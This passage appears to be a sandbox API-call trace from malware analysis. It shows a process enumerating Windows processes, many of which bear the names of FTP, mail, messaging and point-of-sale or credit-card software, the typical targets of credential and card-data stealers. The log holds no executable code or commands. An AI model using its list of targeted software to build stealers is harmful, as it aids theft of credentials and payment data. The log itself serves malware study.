th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.148] lstrlenW (lpString="svchost.exe") returned 11 [0034.148] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.148] lstrlenW (lpString="svchost.exe") returned 11 [0034.148] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0034.149] lstrlenW (lpString="dwm.exe") returned 7 [0034.149] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0034.149] lstrlenW (lpString="explorer.exe") returned 12 [0034.149] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0034.150] lstrlenW (lpString="spoolsv.exe") returned 11 [0034.150] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0034.150] lstrlenW (lpString="taskhost.exe") returned 12 [0034.150] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.151] lstrlenW (lpString="svchost.exe") returned 11 [0034.151] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0034.152] lstrlenW (lpString="taskeng.exe") returned 11 [0034.152] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0034.152] lstrlenW (lpString="taskhost.exe") returned 12 [0034.152] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.153] lstrlenW (lpString="svchost.exe") returned 11 [0034.153] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0034.153] lstrlenW (lpString="sppsvc.exe") returned 10 [0034.153] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.154] lstrlenW (lpString="svchost.exe") returned 11 [0034.154] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="antibodiesbatteries.exe")) returned 1 [0034.154] lstrlenW (lpString="antibodiesbatteries.exe") returned 23 [0034.154] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smsvhskate.exe")) returned 1 [0034.155] lstrlenW (lpString="smsvhskate.exe") returned 14 [0034.155] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="auditorpickupprogramming.exe")) returned 1 [0034.155] lstrlenW (lpString="auditorpickupprogramming.exe") returned 28 [0034.156] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient latin.exe")) returned 1 [0034.156] lstrlenW (lpString="patient latin.exe") returned 17 [0034.156] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barbados.exe")) returned 1 [0034.157] lstrlenW (lpString="barbados.exe") returned 12 [0034.157] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="otthose.exe")) returned 1 [0034.157] lstrlenW (lpString="otthose.exe") returned 11 [0034.157] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="suburban.exe")) returned 1 [0034.158] lstrlenW (lpString="suburban.exe") returned 12 [0034.158] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="examination.exe")) returned 1 [0034.158] lstrlenW (lpString="examination.exe") returned 15 [0034.158] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation-remark-crisis.exe")) returned 1 [0034.159] lstrlenW (lpString="circulation-remark-crisis.exe") returned 29 [0034.159] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="madrid.exe")) returned 1 [0034.159] lstrlenW (lpString="madrid.exe") returned 10 [0034.159] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurerush.exe")) returned 1 [0034.160] lstrlenW (lpString="measurerush.exe") returned 15 [0034.160] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="interest treaty spam.exe")) returned 1 [0034.160] lstrlenW (lpString="interest treaty spam.exe") returned 24 [0034.160] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikecollectionstransformation.exe")) returned 1 [0034.161] lstrlenW (lpString="unlikecollectionstransformation.exe") returned 35 [0034.161] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patrick below addressed.exe")) returned 1 [0034.161] lstrlenW (lpString="patrick below addressed.exe") returned 27 [0034.161] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jessefun.exe")) returned 1 [0034.162] lstrlenW (lpString="jessefun.exe") returned 12 [0034.162] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spyware-tampa.exe")) returned 1 [0034.162] lstrlenW (lpString="spyware-tampa.exe") returned 17 [0034.162] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sellers.exe")) returned 1 [0034.163] lstrlenW (lpString="sellers.exe") returned 11 [0034.163] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gras hair.exe")) returned 1 [0034.163] lstrlenW (lpString="gras hair.exe") returned 13 [0034.163] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="acquisitions.exe")) returned 1 [0034.164] lstrlenW (lpString="acquisitions.exe") returned 16 [0034.164] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="starscondos.exe")) returned 1 [0034.164] lstrlenW (lpString="starscondos.exe") returned 15 [0034.164] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0034.165] lstrlenW (lpString="3dftp.exe") returned 9 [0034.165] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0034.165] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0034.165] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0034.166] lstrlenW (lpString="alftp.exe") returned 9 [0034.166] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0034.167] lstrlenW (lpString="barca.exe") returned 9 [0034.167] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0034.167] lstrlenW (lpString="bitkinex.exe") returned 12 [0034.167] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0034.168] lstrlenW (lpString="coreftp.exe") returned 11 [0034.168] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0034.168] lstrlenW (lpString="far.exe") returned 7 [0034.168] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0034.169] lstrlenW (lpString="filezilla.exe") returned 13 [0034.169] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0034.169] lstrlenW (lpString="flashfxp.exe") returned 12 [0034.169] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0034.170] lstrlenW (lpString="fling.exe") returned 9 [0034.170] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0034.171] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0034.171] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0034.171] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0034.172] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0034.172] lstrlenW (lpString="icq.exe") returned 7 [0034.172] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0034.173] lstrlenW (lpString="leechftp.exe") returned 12 [0034.173] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0034.174] lstrlenW (lpString="ncftp.exe") returned 9 [0034.174] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0034.175] lstrlenW (lpString="notepad.exe") returned 11 [0034.175] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0034.176] lstrlenW (lpString="operamail.exe") returned 13 [0034.176] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0034.176] lstrlenW (lpString="outlook.exe") returned 11 [0034.183] CloseHandle (hObject=0xe4) returned 1 [0034.184] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0034.184] lstrlenW (lpString="pidgin.exe") returned 10 [0034.184] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0034.185] lstrlenW (lpString="scriptftp.exe") returned 13 [0034.185] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0034.186] lstrlenW (lpString="skype.exe") returned 9 [0034.186] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0034.187] lstrlenW (lpString="smartftp.exe") returned 12 [0034.187] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0034.188] lstrlenW (lpString="thunderbird.exe") returned 15 [0034.188] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0034.188] lstrlenW (lpString="totalcmd.exe") returned 12 [0034.188] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0034.189] lstrlenW (lpString="trillian.exe") returned 12 [0034.189] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0034.190] lstrlenW (lpString="webdrive.exe") returned 12 [0034.190] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0034.191] lstrlenW (lpString="whatsapp.exe") returned 12 [0034.191] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0034.192] lstrlenW (lpString="winscp.exe") returned 10 [0034.192] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0034.192] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0034.192] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0034.193] lstrlenW (lpString="active-charge.exe") returned 17 [0034.193] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0034.194] lstrlenW (lpString="accupos.exe") returned 11 [0034.194] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0034.194] lstrlenW (lpString="afr38.exe") returned 9 [0034.195] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0034.195] lstrlenW (lpString="aldelo.exe") returned 10 [0034.195] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0034.196] lstrlenW (lpString="ccv_server.exe") returned 14 [0034.196] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0034.197] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0034.197] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0034.197] lstrlenW (lpString="creditservice.exe") returned 17 [0034.198] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0034.199] lstrlenW (lpString="edcsvr.exe") returned 10 [0034.199] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0034.199] lstrlenW (lpString="fpos.exe") returned 8 [0034.199] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0034.200] lstrlenW (lpString="isspos.exe") returned 10 [0034.200] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0034.201] 